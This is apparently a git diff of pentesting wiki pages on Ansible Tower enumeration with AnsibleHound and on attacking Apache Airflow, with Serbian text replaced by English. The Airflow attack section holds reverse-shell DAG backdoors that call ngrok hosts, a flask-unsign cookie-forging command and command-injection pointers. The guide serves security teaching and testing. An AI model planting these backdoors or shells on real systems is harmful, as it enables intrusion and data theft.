* Go ≥ 1.20 to compile the collector (or use the pre-built binaries).
### Izgradnja & Pokretanje
### Building & Running
```bash
# Compile the collector
cd collector
@@ -162,7 +164,7 @@ go build . -o build/ansiblehound
# Execute against the target instance
./build/ansiblehound -u "https://tower.example.com/" -t "READ_ONLY_TOKEN"
```
Interno, AnsibleHound izvršava *paginirane* `GET` zahteve protiv (barem) sledećih krajnjih tačaka i automatski prati `related` linkove koji se vraćaju u svakom JSON objektu:
Internally AnsibleHound performs *paginated* `GET` requests against (at least) the following endpoints and automatically follows the `related` links returned in every JSON object:
```
/api/v2/organizations/
/api/v2/inventories/
@@ -173,32 +175,37 @@ Interno, AnsibleHound izvršava *paginirane* `GET` zahteve protiv (barem) slede
/api/v2/users/
/api/v2/teams/
```
Sve prikupljene stranice se spajaju u jedan JSON fajl na disku (podrazumevano: `ansiblehound-output.json`).
All collected pages are merged into a single JSON file on disk (default: `ansiblehound-output.json`).
### BloodHound Transformacija
Sirovi Tower podaci se zatim **transformišu u BloodHound OpenGraph** koristeći prilagođene čvorove sa prefiksom `AT` (Ansible Tower):
### BloodHound Transformation
The raw Tower data is then **transformed to BloodHound OpenGraph** using custom nodes prefixed with `AT` (Ansible Tower):
* `ATOrganization`, `ATInventory`, `ATHost`, `ATJobTemplate`, `ATProject`, `ATCredential`, `ATUser`, `ATTeam`
I ivice koje modeluju odnose / privilegije:
And edges modelling relationships / privileges:
* `ATContains`, `ATUses`, `ATExecute`, `ATRead`, `ATAdmin`
Rezultat se može direktno uvesti u BloodHound:
The result can be imported straight into BloodHound:
```bash
neo4j stop # if BloodHound CE is running locally
bloodhound-import ansiblehound-output.json
```
Opcionalno možete da otpremite **prilagođene ikone** kako bi novi tipovi čvorova bili vizuelno različiti:
Optionally you can upload **custom icons** so that the new node types are visually distinct:
```bash
python3 scripts/import-icons.py "https://bloodhound.example.com" "BH_JWT_TOKEN"
```
### Odbrambene i Ofanzivne Razmatranja
* *Read* token se obično smatra bezopasnim, ali i dalje otkriva **potpunu topologiju i sve metapodatke o akreditivima**. Tretirajte ga kao osetljiv!
* Sprovodite **najmanje privilegije** i rotirajte / opozovite neiskorišćene tokene.
* Pratite API za prekomernu enumeraciju (više uzastopnih `GET` zahteva, visoka aktivnost paginacije).
* Iz perspektive napadača, ovo je savršena *početna tačka → eskalacija privilegija* tehnika unutar CI/CD pipeline-a.
## Reference
### Defensive & Offensive Considerations
* A *Read* token is normally considered harmless but still leaks the **full topology and every credential metadata**. Treat it as sensitive!
* Enforce **least privilege** and rotate / revoke unused tokens.
* Monitor the API for excessive enumeration (multiple sequential `GET` requests, high pagination activity).
* From an attacker perspective this is a perfect *initial foothold → privilege escalation* technique inside the CI/CD pipeline.
## References
* [AnsibleHound BloodHound Collector for Ansible Tower/AWX](https://github.com/TheSleekBoyCompany/AnsibleHound)
* [BloodHound OSS](https://github.com/BloodHoundAD/BloodHound)
{{#include ../banners/hacktricks-training.md}}

View File

@@ -2,21 +2,22 @@
{{#include ../../banners/hacktricks-training.md}}
### Osnovne Informacije
### Basic Information
[**Apache Airflow**](https://airflow.apache.org) služi kao platforma za **orchestraciju i zakazivanje podataka ili radnih tokova**. Termin "orchestration" u kontekstu podataka označava proces organizovanja, koordinacije i upravljanja složenim radnim tokovima podataka koji potiču iz različitih izvora. Primarna svrha ovih orkestriranih radnih tokova podataka je da obezbede obrađene i upotrebljive skupove podataka. Ovi skupovi podataka se široko koriste u mnogim aplikacijama, uključujući, ali ne ograničavajući se na alate za poslovnu inteligenciju, modele podataka i mašinskog učenja, koji su svi osnovni za funkcionisanje aplikacija velikih podataka.
[**Apache Airflow**](https://airflow.apache.org) serves as a platform for **orchestrating and scheduling data pipelines or workflows**. The term "orchestration" in the context of data pipelines signifies the process of arranging, coordinating, and managing complex data workflows originating from various sources. The primary purpose of these orchestrated data pipelines is to furnish processed and consumable data sets. These data sets are extensively utilized by a myriad of applications, including but not limited to business intelligence tools, data science and machine learning models, all of which are foundational to the functioning of big data applications.
U suštini, Apache Airflow će vam omogućiti da **zakazujete izvršenje koda kada se nešto** (događaj, cron) **dogodi**.
Basically, Apache Airflow will allow you to **schedule the execution of code when something** (event, cron) **happens**.
### Lokalni Laboratorija
### Local Lab
#### Docker-Compose
Možete koristiti **docker-compose konfiguracioni fajl sa** [**https://raw.githubusercontent.com/apache/airflow/main/docs/apache-airflow/start/docker-compose.yaml**](https://raw.githubusercontent.com/apache/airflow/main/docs/apache-airflow/start/docker-compose.yaml) da pokrenete kompletnu apache airflow docker sredinu. (Ako ste na MacOS-u, obavezno dodelite najmanje 6GB RAM-a docker VM-u).
You can use the **docker-compose config file from** [**https://raw.githubusercontent.com/apache/airflow/main/docs/apache-airflow/start/docker-compose.yaml**](https://raw.githubusercontent.com/apache/airflow/main/docs/apache-airflow/start/docker-compose.yaml) to launch a complete apache airflow docker environment. (If you are in MacOS make sure to give at least 6GB of RAM to the docker VM).
#### Minikube
Jedan jednostavan način da **pokrenete apache airflow** je da ga pokrenete **sa minikube**:
One easy way to **run apache airflo**w is to run it **with minikube**:
```bash
helm repo add airflow-stable https://airflow-helm.github.io/charts
helm repo update
@@ -26,9 +27,10 @@ helm install airflow-release airflow-stable/airflow
# Use this command to delete it
helm delete airflow-release
```
### Konfiguracija Airflow-a
Airflow može čuvati **osetljive informacije** u svojoj konfiguraciji ili možete pronaći slabe konfiguracije:
### Airflow Configuration
Airflow might store **sensitive information** in its configuration or you can find weak configurations in place:
{{#ref}}
airflow-configuration.md
@@ -36,62 +38,65 @@ airflow-configuration.md
### Airflow RBAC
Pre nego što počnete sa napadima na Airflow, trebali biste razumeti **kako funkcionišu dozvole**:
Before start attacking Airflow you should understand **how permissions work**:
{{#ref}}
airflow-rbac.md
{{#endref}}
### Napadi
### Attacks
#### Enumeracija Web Konzole
#### Web Console Enumeration
Ako imate **pristup web konzoli**, možda ćete moći da pristupite nekim ili svim sledećim informacijama:
If you have **access to the web console** you might be able to access some or all of the following information:
- **Promenljive** (Prilagođene osjetljive informacije mogu biti pohranjene ovde)
- **Konekcije** (Prilagođene osjetljive informacije mogu biti pohranjene ovde)
- Pristupite im na `http://<airflow>/connection/list/`
- [**Konfiguracija**](./#airflow-configuration) (Osetljive informacije kao što su **`secret_key`** i lozinke mogu biti pohranjene ovde)
- Lista **korisnika i uloga**
- **Kod svakog DAG-a** (koji može sadržati zanimljive informacije)
- **Variables** (Custom sensitive information might be stored here)
- **Connections** (Custom sensitive information might be stored here)
- Access them in `http://<airflow>/connection/list/`
- [**Configuration**](#airflow-configuration) (Sensitive information like the **`secret_key`** and passwords might be stored here)
- List **users & roles**
- **Code of each DAG** (which might contain interesting info)
#### Preuzimanje vrednosti promenljivih
#### Retrieve Variables Values
Promenljive se mogu čuvati u Airflow-u tako da **DAG-ovi** mogu **pristupiti** njihovim vrednostima. Slično je tajnama drugih platformi. Ako imate **dovoljno dozvola**, možete im pristupiti u GUI-u na `http://<airflow>/variable/list/`.\
Airflow po defaultu prikazuje vrednost promenljive u GUI-u, međutim, prema [**ovome**](https://marclamberti.com/blog/variables-with-apache-airflow/), moguće je postaviti **listu promenljivih** čija će se **vrednost** prikazivati kao **zvezdice** u **GUI-u**.
Variables can be stored in Airflow so the **DAGs** can **access** their values. It's similar to secrets of other platforms. If you have **enough permissions** you can access them in the GUI in `http://<airflow>/variable/list/`.\
Airflow by default will show the value of the variable in the GUI, however, according to [**this**](https://marclamberti.com/blog/variables-with-apache-airflow/) it's possible to set a **list of variables** whose **value** will appear as **asterisks** in the **GUI**.
![](<../../images/image (164).png>)
Međutim, ove **vrednosti** se i dalje mogu **preuzeti** putem **CLI** (morate imati pristup bazi podataka), **izvršavanjem proizvoljnog DAG-a**, **API** pristupom tački promenljivih (API mora biti aktiviran), i **čak i samim GUI-em!**\
Da biste pristupili tim vrednostima iz GUI-a, jednostavno **izaberite promenljive** kojima želite da pristupite i **kliknite na Akcije -> Izvezi**.\
Drugi način je da izvršite **bruteforce** na **skrivenoj vrednosti** koristeći **filtriranje pretrage** dok je ne dobijete:
However, these **values** can still be **retrieved** via **CLI** (you need to have DB access), **arbitrary DAG** execution, **API** accessing the variables endpoint (the API needs to be activated), and **even the GUI itself!**\
To access those values from the GUI just **select the variables** you want to access and **click on Actions -> Export**.\
Another way is to perform a **bruteforce** to the **hidden value** using the **search filtering** it until you get it:
![](<../../images/image (152).png>)
#### Eskalacija privilegija
#### Privilege Escalation
If the **`expose_config`** configuration is set to **True**, from the **role User** and **upwards** can **read** the **config in the web**. In this config, the **`secret_key`** appears, which means any user with this valid they can **create its own signed cookie to impersonate any other user account**.
Ako je konfiguracija **`expose_config`** postavljena na **True**, iz **uloge Korisnik** i **više** mogu **čitati** **konfiguraciju na web-u**. U ovoj konfiguraciji se pojavljuje **`secret_key`**, što znači da svaki korisnik sa ovim važećim može **napraviti svoj potpisani kolačić da bi se pretvarao da je bilo koji drugi korisnički nalog**.
```bash
flask-unsign --sign --secret '<secret_key>' --cookie "{'_fresh': True, '_id': '12345581593cf26619776d0a1e430c412171f4d12a58d30bef3b2dd379fc8b3715f2bd526eb00497fcad5e270370d269289b65720f5b30a39e5598dad6412345', '_permanent': True, 'csrf_token': '09dd9e7212e6874b104aad957bbf8072616b8fbc', 'dag_status_filter': 'all', 'locale': 'en', 'user_id': '1'}"
```
#### DAG Backdoor (RCE u Airflow radniku)
Ako imate **pristup za pisanje** na mestu gde su **DAG-ovi sačuvani**, možete jednostavno **napraviti jedan** koji će vam poslati **reverse shell.**\
Imajte na umu da će ovaj reverse shell biti izvršen unutar **airflow radničkog kontejnera:**
#### DAG Backdoor (RCE in Airflow worker)
If you have **write access** to the place where the **DAGs are saved**, you can just **create one** that will send you a **reverse shell.**\
Note that this reverse shell is going to be executed inside an **airflow worker container**:
```python
import pendulum
from airflow import DAG
from airflow.operators.bash import BashOperator
with DAG(
dag_id='rev_shell_bash',
schedule_interval='0 0 * * *',
start_date=pendulum.datetime(2021, 1, 1, tz="UTC"),
dag_id='rev_shell_bash',
schedule_interval='0 0 * * *',
start_date=pendulum.datetime(2021, 1, 1, tz="UTC"),
) as dag:
run = BashOperator(
task_id='run',
bash_command='bash -i >& /dev/tcp/8.tcp.ngrok.io/11433 0>&1',
)
run = BashOperator(
task_id='run',
bash_command='bash -i >& /dev/tcp/8.tcp.ngrok.io/11433 0>&1',
)
```
```python
@@ -100,66 +105,74 @@ from airflow import DAG
from airflow.operators.python import PythonOperator
def rs(rhost, port):
s = socket.socket()
s.connect((rhost, port))
[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
pty.spawn("/bin/sh")
s = socket.socket()
s.connect((rhost, port))
[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
pty.spawn("/bin/sh")
with DAG(
dag_id='rev_shell_python',
schedule_interval='0 0 * * *',
start_date=pendulum.datetime(2021, 1, 1, tz="UTC"),
dag_id='rev_shell_python',
schedule_interval='0 0 * * *',
start_date=pendulum.datetime(2021, 1, 1, tz="UTC"),
) as dag:
run = PythonOperator(
task_id='rs_python',
python_callable=rs,
op_kwargs={"rhost":"8.tcp.ngrok.io", "port": 11433}
)
run = PythonOperator(
task_id='rs_python',
python_callable=rs,
op_kwargs={"rhost":"8.tcp.ngrok.io", "port": 11433}
)
```
#### DAG Backdoor (RCE u Airflow scheduler-u)
Ako postavite nešto da bude **izvršeno u korenu koda**, u trenutku pisanja ovog teksta, biće **izvršeno od strane scheduler-a** nakon nekoliko sekundi nakon što ga stavite unutar DAG-ove fascikle.
#### DAG Backdoor (RCE in Airflow scheduler)
If you set something to be **executed in the root of the code**, at the moment of this writing, it will be **executed by the scheduler** after a couple of seconds after placing it inside the DAG's folder.
```python
import pendulum, socket, os, pty
from airflow import DAG
from airflow.operators.python import PythonOperator
def rs(rhost, port):
s = socket.socket()
s.connect((rhost, port))
[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
pty.spawn("/bin/sh")
s = socket.socket()
s.connect((rhost, port))
[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
pty.spawn("/bin/sh")
rs("2.tcp.ngrok.io", 14403)
with DAG(
dag_id='rev_shell_python2',
schedule_interval='0 0 * * *',
start_date=pendulum.datetime(2021, 1, 1, tz="UTC"),
dag_id='rev_shell_python2',
schedule_interval='0 0 * * *',
start_date=pendulum.datetime(2021, 1, 1, tz="UTC"),
) as dag:
run = PythonOperator(
task_id='rs_python2',
python_callable=rs,
op_kwargs={"rhost":"2.tcp.ngrok.io", "port": 144}
run = PythonOperator(
task_id='rs_python2',
python_callable=rs,
op_kwargs={"rhost":"2.tcp.ngrok.io", "port": 144}
```
#### Kreiranje DAG-a
Ako uspete da **kompromitujete mašinu unutar DAG klastera**, možete kreirati nove **DAG skripte** u `dags/` folderu i one će biti **replicirane na ostalim mašinama** unutar DAG klastera.
#### DAG Creation
#### Ubrizgavanje koda u DAG
If you manage to **compromise a machine inside the DAG cluster**, you can create new **DAGs scripts** in the `dags/` folder and they will be **replicated in the rest of the machines** inside the DAG cluster.
Kada izvršavate DAG iz GUI-a, možete **proslediti argumente**.\
Stoga, ako DAG nije pravilno kodiran, mogao bi biti **ranjiv na Command Injection.**\
To se desilo u ovom CVE: [https://www.exploit-db.com/exploits/49927](https://www.exploit-db.com/exploits/49927)
#### DAG Code Injection
Sve što treba da znate da **počnete da tražite command injections u DAG-ovima** je da se **parametri** **pristupaju** sa kodom **`dag_run.conf.get("param_name")`**.
When you execute a DAG from the GUI you can **pass arguments** to it.\
Therefore, if the DAG is not properly coded it could be **vulnerable to Command Injection.**\
That is what happened in this CVE: [https://www.exploit-db.com/exploits/49927](https://www.exploit-db.com/exploits/49927)
All you need to know to **start looking for command injections in DAGs** is that **parameters** are **accessed** with the code **`dag_run.conf.get("param_name")`**.
Moreover, the same vulnerability might occur with **variables** (note that with enough privileges you could **control the value of the variables** in the GUI). Variables are **accessed with**:
Štaviše, ista ranjivost može se javiti i sa **varijablama** (imajte na umu da sa dovoljno privilegija možete **kontrolisati vrednost varijabli** u GUI-u). Varijable se **pristupaju sa**:
```python
from airflow.models import Variable
[...]
foo = Variable.get("foo")
```
Ako se koriste, na primer, unutar bash komande, mogli biste izvršiti injekciju komande.
If they are used for example inside a a bash command, you could perform a command injection.
{{#include ../../banners/hacktricks-training.md}}

View File

@@ -1,105 +1,114 @@
# Konfiguracija Airflow-a
# Airflow Configuration
{{#include ../../banners/hacktricks-training.md}}
## Konfiguracioni Fajl
## Configuration File
**Apache Airflow** generiše **config fajl** na svim airflow mašinama pod nazivom **`airflow.cfg`** u home direktorijumu korisnika airflow. Ovaj config fajl sadrži informacije o konfiguraciji i **može sadržati zanimljive i osetljive informacije.**
**Apache Airflow** generates a **config file** in all the airflow machines called **`airflow.cfg`** in the home of the airflow user. This config file contains configuration information and **might contain interesting and sensitive information.**
**Postoje dva načina da se pristupi ovom fajlu: kompromitovanjem neke airflow mašine ili pristupanjem web konzoli.**
**There are two ways to access this file: By compromising some airflow machine, or accessing the web console.**
Imajte na umu da **vrednosti unutar config fajla** **možda nisu one koje se koriste**, jer ih možete prepisati postavljanjem env varijabli kao što su `AIRFLOW__WEBSERVER__EXPOSE_CONFIG: 'true'`.
Note that the **values inside the config file** **might not be the ones used**, as you can overwrite them setting env variables such as `AIRFLOW__WEBSERVER__EXPOSE_CONFIG: 'true'`.
Ako imate pristup **config fajlu na web serveru**, možete proveriti **pravu aktivnu konfiguraciju** na istoj stranici na kojoj se prikazuje konfiguracija.\
Ako imate **pristup nekoj mašini unutar airflow okruženja**, proverite **okruženje**.
If you have access to the **config file in the web server**, you can check the **real running configuration** in the same page the config is displayed.\
If you have **access to some machine inside the airflow env**, check the **environment**.
Neke zanimljive vrednosti koje treba proveriti prilikom čitanja config fajla:
Some interesting values to check when reading the config file:
### \[api]
- **`access_control_allow_headers`**: Ovo označava **dozvoljene** **zaglavlja** za **CORS**
- **`access_control_allow_methods`**: Ovo označava **dozvoljene metode** za **CORS**
- **`access_control_allow_origins`**: Ovo označava **dozvoljene izvore** za **CORS**
- **`auth_backend`**: [**Prema dokumentaciji**](https://airflow.apache.org/docs/apache-airflow/stable/security/api.html) nekoliko opcija može biti postavljeno za konfiguraciju ko može pristupiti API-ju:
- `airflow.api.auth.backend.deny_all`: **Podrazumevano niko** ne može pristupiti API-ju
- `airflow.api.auth.backend.default`: **Svi mogu** pristupiti bez autentifikacije
- `airflow.api.auth.backend.kerberos_auth`: Za konfiguraciju **kerberos autentifikacije**
- `airflow.api.auth.backend.basic_auth`: Za **osnovnu autentifikaciju**
- `airflow.composer.api.backend.composer_auth`: Koristi autentifikaciju kompozitora (GCP) (iz [**ovde**](https://cloud.google.com/composer/docs/access-airflow-api)).
- `composer_auth_user_registration_role`: Ovo označava **ulogu** koju će **korisnik kompozitora** dobiti unutar **airflow-a** (**Op** podrazumevano).
- Takođe možete **napraviti svoju vlastitu autentifikaciju** metodom u python-u.
- **`google_key_path`:** Putanja do **GCP servisnog naloga**
- **`access_control_allow_headers`**: This indicates the **allowed** **headers** for **CORS**
- **`access_control_allow_methods`**: This indicates the **allowed methods** for **CORS**
- **`access_control_allow_origins`**: This indicates the **allowed origins** for **CORS**
- **`auth_backend`**: [**According to the docs**](https://airflow.apache.org/docs/apache-airflow/stable/security/api.html) a few options can be in place to configure who can access to the API:
- `airflow.api.auth.backend.deny_all`: **By default nobody** can access the API
- `airflow.api.auth.backend.default`: **Everyone can** access it without authentication
- `airflow.api.auth.backend.kerberos_auth`: To configure **kerberos authentication**
- `airflow.api.auth.backend.basic_auth`: For **basic authentication**
- `airflow.composer.api.backend.composer_auth`: Uses composers authentication (GCP) (from [**here**](https://cloud.google.com/composer/docs/access-airflow-api)).
- `composer_auth_user_registration_role`: This indicates the **role** the **composer user** will get inside **airflow** (**Op** by default).
- You can also **create you own authentication** method with python.
- **`google_key_path`:** Path to the **GCP service account key**
### **\[atlas]**
- **`password`**: Atlas lozinka
- **`username`**: Atlas korisničko ime
- **`password`**: Atlas password
- **`username`**: Atlas username
### \[celery]
- **`flower_basic_auth`** : Akreditivi (_user1:password1,user2:password2_)
- **`result_backend`**: Postgres url koji može sadržati **akreditive**.
- **`ssl_cacert`**: Putanja do cacert
- **`ssl_cert`**: Putanja do certifikata
- **`ssl_key`**: Putanja do ključa
- **`flower_basic_auth`** : Credentials (_user1:password1,user2:password2_)
- **`result_backend`**: Postgres url which may contain **credentials**.
- **`ssl_cacert`**: Path to the cacert
- **`ssl_cert`**: Path to the cert
- **`ssl_key`**: Path to the key
### \[core]
- **`dag_discovery_safe_mode`**: Omogućeno podrazumevano. Prilikom otkrivanja DAG-ova, ignorišite sve fajlove koji ne sadrže stringove `DAG` i `airflow`.
- **`fernet_key`**: Ključ za čuvanje enkriptovanih varijabli (simetričan)
- **`hide_sensitive_var_conn_fields`**: Omogućeno podrazumevano, sakrijte osetljive informacije o konekcijama.
- **`security`**: Koji sigurnosni modul koristiti (na primer kerberos)
- **`dag_discovery_safe_mode`**: Enabled by default. When discovering DAGs, ignore any files that dont contain the strings `DAG` and `airflow`.
- **`fernet_key`**: Key to store encrypted variables (symmetric)
- **`hide_sensitive_var_conn_fields`**: Enabled by default, hide sensitive info of connections.
- **`security`**: What security module to use (for example kerberos)
### \[dask]
- **`tls_ca`**: Putanja do ca
- **`tls_cert`**: Putanja do certifikata
- **`tls_key`**: Putanja do tls ključa
- **`tls_ca`**: Path to ca
- **`tls_cert`**: Part to the cert
- **`tls_key`**: Part to the tls key
### \[kerberos]
- **`ccache`**: Putanja do ccache fajla
- **`forwardable`**: Omogućeno podrazumevano
- **`ccache`**: Path to ccache file
- **`forwardable`**: Enabled by default
### \[logging]
- **`google_key_path`**: Putanja do GCP JSON akreditiva.
- **`google_key_path`**: Path to GCP JSON creds.
### \[secrets]
- **`backend`**: Puno ime klase backend-a za tajne koje treba omogućiti
- **`backend_kwargs`**: Parametar backend_kwargs se učitava u rečnik i prosleđuje **init** klasi backend-a za tajne.
- **`backend`**: Full class name of secrets backend to enable
- **`backend_kwargs`**: The backend_kwargs param is loaded into a dictionary and passed to **init** of secrets backend class.
### \[smtp]
- **`smtp_password`**: SMTP lozinka
- **`smtp_user`**: SMTP korisnik
- **`smtp_password`**: SMTP password
- **`smtp_user`**: SMTP user
### \[webserver]
- **`cookie_samesite`**: Podrazumevano je **Lax**, tako da je već najslabija moguća vrednost
- **`cookie_secure`**: Postavite **sigurnu oznaku** na sesijskom kolačiću
- **`expose_config`**: Podrazumevano je False, ako je tačno, **config** se može **pročitati** iz web **konzole**
- **`expose_stacktrace`**: Podrazumevano je True, prikazaće **python tracebacks** (potencijalno korisno za napadača)
- **`secret_key`**: Ovo je **ključ koji koristi flask za potpisivanje kolačića** (ako imate ovo možete **imitirati bilo kog korisnika u Airflow-u**)
- **`web_server_ssl_cert`**: **Putanja** do **SSL** **certifikata**
- **`web_server_ssl_key`**: **Putanja** do **SSL** **ključa**
- **`x_frame_enabled`**: Podrazumevano je **True**, tako da podrazumevano clickjacking nije moguć
- **`cookie_samesite`**: By default it's **Lax**, so it's already the weakest possible value
- **`cookie_secure`**: Set **secure flag** on the the session cookie
- **`expose_config`**: By default is False, if true, the **config** can be **read** from the web **console**
- **`expose_stacktrace`**: By default it's True, it will show **python tracebacks** (potentially useful for an attacker)
- **`secret_key`**: This is the **key used by flask to sign the cookies** (if you have this you can **impersonate any user in Airflow**)
- **`web_server_ssl_cert`**: **Path** to the **SSL** **cert**
- **`web_server_ssl_key`**: **Path** to the **SSL** **Key**
- **`x_frame_enabled`**: Default is **True**, so by default clickjacking isn't possible
### Web Autentifikacija
### Web Authentication
By default **web authentication** is specified in the file **`webserver_config.py`** and is configured as
Podrazumevano je **web autentifikacija** specificirana u fajlu **`webserver_config.py`** i konfiguriše se kao
```bash
AUTH_TYPE = AUTH_DB
```
Što znači da se **autentifikacija proverava u odnosu na bazu podataka**. Međutim, druge konfiguracije su moguće kao
Which means that the **authentication is checked against the database**. However, other configurations are possible like
```bash
AUTH_TYPE = AUTH_OAUTH
```
Da se **autentifikacija prepusti uslugama trećih strana**.
Međutim, postoji i opcija da se **omogući pristup anonimnim korisnicima**, postavljanjem sledećeg parametra na **željenu ulogu**:
To leave the **authentication to third party services**.
However, there is also an option to a**llow anonymous users access**, setting the following parameter to the **desired role**:
```bash
AUTH_ROLE_PUBLIC = 'Admin'
```
{{#include ../../banners/hacktricks-training.md}}

View File

@@ -4,40 +4,43 @@
## RBAC
(From the docs)\[https://airflow.apache.org/docs/apache-airflow/stable/security/access-control.html]: Airflow dolazi sa **setom uloga po defaultu**: **Admin**, **User**, **Op**, **Viewer**, i **Public**. **Samo `Admin`** korisnici mogu **konfigurisati/menjati dozvole za druge uloge**. Ali nije preporučljivo da `Admin` korisnici menjaju ove podrazumevane uloge na bilo koji način uklanjanjem ili dodavanjem dozvola tim ulogama.
(From the docs)\[https://airflow.apache.org/docs/apache-airflow/stable/security/access-control.html]: Airflow ships with a **set of roles by default**: **Admin**, **User**, **Op**, **Viewer**, and **Public**. **Only `Admin`** users could **configure/alter the permissions for other roles**. But it is not recommended that `Admin` users alter these default roles in any way by removing or adding permissions to these roles.
- **`Admin`** korisnici imaju sve moguće dozvole.
- **`Public`** korisnici (anonimni) nemaju nikakve dozvole.
- **`Viewer`** korisnici imaju ograničene dozvole za gledanje (samo čitanje). **Ne može videti konfiguraciju.**
- **`User`** korisnici imaju `Viewer` dozvole plus dodatne korisničke dozvole koje mu omogućavaju da malo upravlja DAG-ovima. On **može videti konfiguracioni fajl.**
- **`Op`** korisnici imaju `User` dozvole plus dodatne op dozvole.
- **`Admin`** users have all possible permissions.
- **`Public`** users (anonymous) dont have any permissions.
- **`Viewer`** users have limited viewer permissions (only read). It **cannot see the config.**
- **`User`** users have `Viewer` permissions plus additional user permissions that allows him to manage DAGs a bit. He **can see the config file**
- **`Op`** users have `User` permissions plus additional op permissions.
Napomena: **admin** korisnici mogu **kreirati više uloga** sa više **granularnih dozvola**.
Note that **admin** users can **create more roles** with more **granular permissions**.
Takođe, napomena da je jedina podrazumevana uloga sa **dozvolom da lista korisnike i uloge Admin, čak ni Op** to ne može da uradi.
Also note that the only default role with **permission to list users and roles is Admin, not even Op** is going to be able to do that.
### Default Permissions
Ovo su podrazumevane dozvole po podrazumevanoj ulozi:
These are the default permissions per default role:
- **Admin**
\[može brisati na Connections, može čitati na Connections, može uređivati na Connections, može kreirati na Connections, može čitati na DAGs, može uređivati na DAGs, može brisati na DAGs, može čitati na DAG Runs, može čitati na Task Instances, može uređivati na Task Instances, može brisati na DAG Runs, može kreirati na DAG Runs, može uređivati na DAG Runs, može čitati na Audit Logs, može čitati na ImportError, može brisati na Pools, može čitati na Pools, može uređivati na Pools, može kreirati na Pools, može čitati na Providers, može brisati na Variables, može čitati na Variables, može uređivati na Variables, može kreirati na Variables, može čitati na XComs, može čitati na DAG Code, može čitati na Configurations, može čitati na Plugins, može čitati na Roles, može čitati na Permissions, može brisati na Roles, može uređivati na Roles, može kreirati na Roles, može čitati na Users, može kreirati na Users, može uređivati na Users, može brisati na Users, može čitati na DAG Dependencies, može čitati na Jobs, može čitati na My Password, može uređivati na My Password, može čitati na My Profile, može uređivati na My Profile, može čitati na SLA Misses, može čitati na Task Logs, može čitati na Website, pristup meniju na Browse, pristup meniju na DAG Dependencies, pristup meniju na DAG Runs, pristup meniju na Documentation, pristup meniju na Docs, pristup meniju na Jobs, pristup meniju na Audit Logs, pristup meniju na Plugins, pristup meniju na SLA Misses, pristup meniju na Task Instances, može kreirati na Task Instances, može brisati na Task Instances, pristup meniju na Admin, pristup meniju na Configurations, pristup meniju na Connections, pristup meniju na Pools, pristup meniju na Variables, pristup meniju na XComs, može brisati na XComs, može čitati na Task Reschedules, pristup meniju na Task Reschedules, može čitati na Triggers, pristup meniju na Triggers, može čitati na Passwords, može uređivati na Passwords, pristup meniju na List Users, pristup meniju na Security, pristup meniju na List Roles, može čitati na User Stats Chart, pristup meniju na User's Statistics, pristup meniju na Base Permissions, može čitati na View Menus, pristup meniju na Views/Menus, može čitati na Permission Views, pristup meniju na Permission on Views/Menus, može dobiti na MenuApi, pristup meniju na Providers, može kreirati na XComs]
\[can delete on Connections, can read on Connections, can edit on Connections, can create on Connections, can read on DAGs, can edit on DAGs, can delete on DAGs, can read on DAG Runs, can read on Task Instances, can edit on Task Instances, can delete on DAG Runs, can create on DAG Runs, can edit on DAG Runs, can read on Audit Logs, can read on ImportError, can delete on Pools, can read on Pools, can edit on Pools, can create on Pools, can read on Providers, can delete on Variables, can read on Variables, can edit on Variables, can create on Variables, can read on XComs, can read on DAG Code, can read on Configurations, can read on Plugins, can read on Roles, can read on Permissions, can delete on Roles, can edit on Roles, can create on Roles, can read on Users, can create on Users, can edit on Users, can delete on Users, can read on DAG Dependencies, can read on Jobs, can read on My Password, can edit on My Password, can read on My Profile, can edit on My Profile, can read on SLA Misses, can read on Task Logs, can read on Website, menu access on Browse, menu access on DAG Dependencies, menu access on DAG Runs, menu access on Documentation, menu access on Docs, menu access on Jobs, menu access on Audit Logs, menu access on Plugins, menu access on SLA Misses, menu access on Task Instances, can create on Task Instances, can delete on Task Instances, menu access on Admin, menu access on Configurations, menu access on Connections, menu access on Pools, menu access on Variables, menu access on XComs, can delete on XComs, can read on Task Reschedules, menu access on Task Reschedules, can read on Triggers, menu access on Triggers, can read on Passwords, can edit on Passwords, menu access on List Users, menu access on Security, menu access on List Roles, can read on User Stats Chart, menu access on User's Statistics, menu access on Base Permissions, can read on View Menus, menu access on Views/Menus, can read on Permission Views, menu access on Permission on Views/Menus, can get on MenuApi, menu access on Providers, can create on XComs]
- **Op**
\[može brisati na Connections, može čitati na Connections, može uređivati na Connections, može kreirati na Connections, može čitati na DAGs, može uređivati na DAGs, može brisati na DAGs, može čitati na DAG Runs, može čitati na Task Instances, može uređivati na Task Instances, može brisati na DAG Runs, može kreirati na DAG Runs, može uređivati na DAG Runs, može čitati na Audit Logs, može čitati na ImportError, može brisati na Pools, može čitati na Pools, može uređivati na Pools, može kreirati na Pools, može čitati na Providers, može brisati na Variables, može čitati na Variables, može uređivati na Variables, može kreirati na Variables, može čitati na XComs, može čitati na DAG Code, može čitati na Configurations, može čitati na Plugins, može čitati na DAG Dependencies, može čitati na Jobs, može čitati na My Password, može uređivati na My Password, može čitati na My Profile, može uređivati na My Profile, može čitati na SLA Misses, može čitati na Task Logs, može čitati na Website, pristup meniju na Browse, pristup meniju na DAG Dependencies, pristup meniju na DAG Runs, pristup meniju na Documentation, pristup meniju na Docs, pristup meniju na Jobs, pristup meniju na Audit Logs, pristup meniju na Plugins, pristup meniju na SLA Misses, pristup meniju na Task Instances, može kreirati na Task Instances, može brisati na Task Instances, pristup meniju na Admin, pristup meniju na Configurations, pristup meniju na Connections, pristup meniju na Pools, pristup meniju na Variables, pristup meniju na XComs, može brisati na XComs]
\[can delete on Connections, can read on Connections, can edit on Connections, can create on Connections, can read on DAGs, can edit on DAGs, can delete on DAGs, can read on DAG Runs, can read on Task Instances, can edit on Task Instances, can delete on DAG Runs, can create on DAG Runs, can edit on DAG Runs, can read on Audit Logs, can read on ImportError, can delete on Pools, can read on Pools, can edit on Pools, can create on Pools, can read on Providers, can delete on Variables, can read on Variables, can edit on Variables, can create on Variables, can read on XComs, can read on DAG Code, can read on Configurations, can read on Plugins, can read on DAG Dependencies, can read on Jobs, can read on My Password, can edit on My Password, can read on My Profile, can edit on My Profile, can read on SLA Misses, can read on Task Logs, can read on Website, menu access on Browse, menu access on DAG Dependencies, menu access on DAG Runs, menu access on Documentation, menu access on Docs, menu access on Jobs, menu access on Audit Logs, menu access on Plugins, menu access on SLA Misses, menu access on Task Instances, can create on Task Instances, can delete on Task Instances, menu access on Admin, menu access on 